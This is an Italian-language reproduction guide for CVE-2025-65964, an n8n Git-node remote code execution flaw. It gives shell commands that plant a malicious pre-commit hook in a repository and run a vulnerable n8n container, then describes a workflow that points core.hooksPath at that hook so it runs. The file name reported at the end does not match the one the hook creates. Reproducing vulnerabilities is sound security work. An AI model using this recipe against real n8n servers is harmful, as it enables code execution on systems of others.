
Riproduzione di CVE-2025-65964
Prepara innanzitutto un repository contenente un file malevolo
mkdir n8n-rce-poc && cd n8n-rce-poc
git init
git remote add origin <indirizzo-del-repository>
mkdir evil_hooks
echo '#!/bin/sh' > evil_hooks/pre-commit
echo 'touch /tmp/pwned_success' >> evil_hooks/pre-commit
chmod +x evil_hooks/pre-commit
git add evil_hooks/pre-commit
git update-index --chmod=+x evil_hooks/pre-commit
git commit -m "Add malicious hook"
git branch -M main
git push -u origin main
Poi avvia un Docker con una versione vulnerabile di n8n. L’impatto della vulnerabilità è molto ampio: 0.123.1 ≤ n8n < 1.119.2 sono tutte vulnerabili. Qui usiamo la versione 1.64.3
docker run -it --rm \
--name n8n \
-p 5678:5678 \
n8nio/n8n:1.64.3
Innanzitutto, il flusso di attacco completo per la versione 1.64.3 è il seguente
Configurazione dei parametri come mostrato in figura
Questo nodo e il successivo sono necessari perché Git consente il commit solo quando i file sono stati modificati, quindi dobbiamo prima scrivere un file a caso nel repository.
Configurazione dei parametri come mostrato in figura

Scrive il file nel repository
Configurazione dei parametri come mostrato in figura

Questi due nodi servono perché per fare un commit sono necessari email e nome utente. Basta inventarli.
Configurazione dei parametri come mostrato in figura


Passaggio fondamentale: imposta core.hooksPath sulla directory malevola scaricata, forzando Git a cercare gli hook nella directory specificata (di default sarebbe .git/hooks).
(Sembra una tecnica simile all’hijacking di LD_PRELOAD, ecc.)
Configurazione dei parametri come mostrato in figura

Questo passaggio serve a innescare la vulnerabilità eseguendo l’hook manomesso.
Configurazione dei parametri come mostrato in figura

Dopo aver configurato tutti questi nodi, esegui il flusso di lavoro.
Quindi, osservando nel container Docker, si nota che il file malevolo pwned_without_exec_node è stato creato.